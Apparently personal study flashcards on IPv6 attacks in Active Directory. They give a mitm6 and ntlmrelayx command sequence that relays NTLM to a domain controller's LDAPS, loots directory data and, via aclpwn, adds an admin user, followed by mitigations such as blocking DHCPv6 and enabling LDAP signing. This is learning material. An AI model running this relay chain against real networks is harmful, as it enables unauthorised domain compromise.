IPv6 attacks

Question 1

MITM6 (dispo sur github, use pip2) LDAP Replay attacks

Answer 1

1. mitm6 -d Domain
2. ntlmrelayx.py -6 -t ldaps://IP_of_DC -wh fakewpad.marvel.local -l lootme
   (use information from previous cmd)
3. Firefox group_ad.html (from mitm6)
4. Check description for password
5. aclpwn_200234109 => fichier de sauvegarde avant modification (i.e ajout d’utilisateur admin)

Question 2

Delegation attacks

Answer 2

https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/

Question 3

Mitigation IPv6 attacks

Answer 3

1. Windows try to use ipv6 even in ipv4 env. Block the dhcpv6 traffric in windows firewall via GP
2. If WPAD is not in use internally disable it via Group Policy and by disabling the WinHttpAutoProxySvc service
3. Enable LDAP signing and LDAP channel binding
4. Make Admin user no delegable